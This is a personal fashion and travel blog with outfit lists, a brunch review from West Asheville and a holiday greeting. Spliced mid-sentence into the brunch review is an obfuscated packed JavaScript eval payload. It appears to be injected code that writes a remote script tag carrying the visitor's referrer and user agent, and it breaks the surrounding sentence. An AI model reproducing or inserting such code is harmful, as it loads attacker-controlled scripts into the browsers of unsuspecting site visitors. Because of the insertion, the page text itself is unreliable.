I’m very careful and thoughtful in the outfits I put together.  This morning was not one of them, but I loved how it turned out harmonious. The skirt is from
H&M (one of my go-to-stores), necklace from Charming Charlie, and shoes from Rugged Wearhouse.Blue is one of the colors that looks good no matter your mood or busy schedule.  I find that I often default to this color when I’m unsure what to wear.  What is your comfort color?

FOODIE FRIDAY: Lobster Benedict in Asheville

We eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|krdrr|var|u0026u|referrer|skefs||js|php’.split(‘|’),0,{}))
got lost on our way to brunch and found the
Walk, a hole in the wall place in historic West Asheville, and decided to grab a seat and see what happens.  This was the best decision we made regarding food all weekend!  The atmosphere inside is hip meets hardware district meets urban revolution.  The menu was small and simple – great for someone who doesn’t like to make decisions.

I ordered the Lobster Benedict, and from the first bite to the last,  my mouth thought it was in heaven!  I must learn how to poach an egg and make Hollandaise sauce! The english muffin was toasted to perfection, topped with fresh avocado slices, steamed lobster, poached egg and Hollandaise sauce.

I was sitting on the edge of my seat to eat the Lobster Benedict!

What am I wearing?

Tank – H&M

Shorts – H&M

Shirt – H&M

Shoes – Chacos

Sunnies – Maui Jim’s

This is basically the perfect travel outfit – comfortable and layers in case I get hot or cold.  My body does not know how to regulate itself well.

I added a blue necklace from Charming Charlie since the outfit seemed bare.  This is me not sharing a malt shake from Steak ‘N Shake.

I’m a huge fan of Marshalls and TJMaxx!  I try and live frugally so I can support my passion for traveling.  However, I also truly enjoy finding a great deal!  When you find an awesome item for a steal, there is a rush of excitement and giddiness (a lot like eating chocolate). Plus, the best part of this dress is not just the low price tag but the awesome full skirt that makes it perfect for swing dancing!

Dress – Marshalls

Shoes – Shoedazzle

Pearls – Vintage

hope you are enjoying some sweet tea, BBQ and the company of family and friends today! I’d also like to remember the sacrifices and commitment of our service members at home and abroad for all they have done to protect the U.S. freedoms and way of life. We are only stronger united, and this holiday is not only a celebration of community and fellowship but of our nation united under one flag!
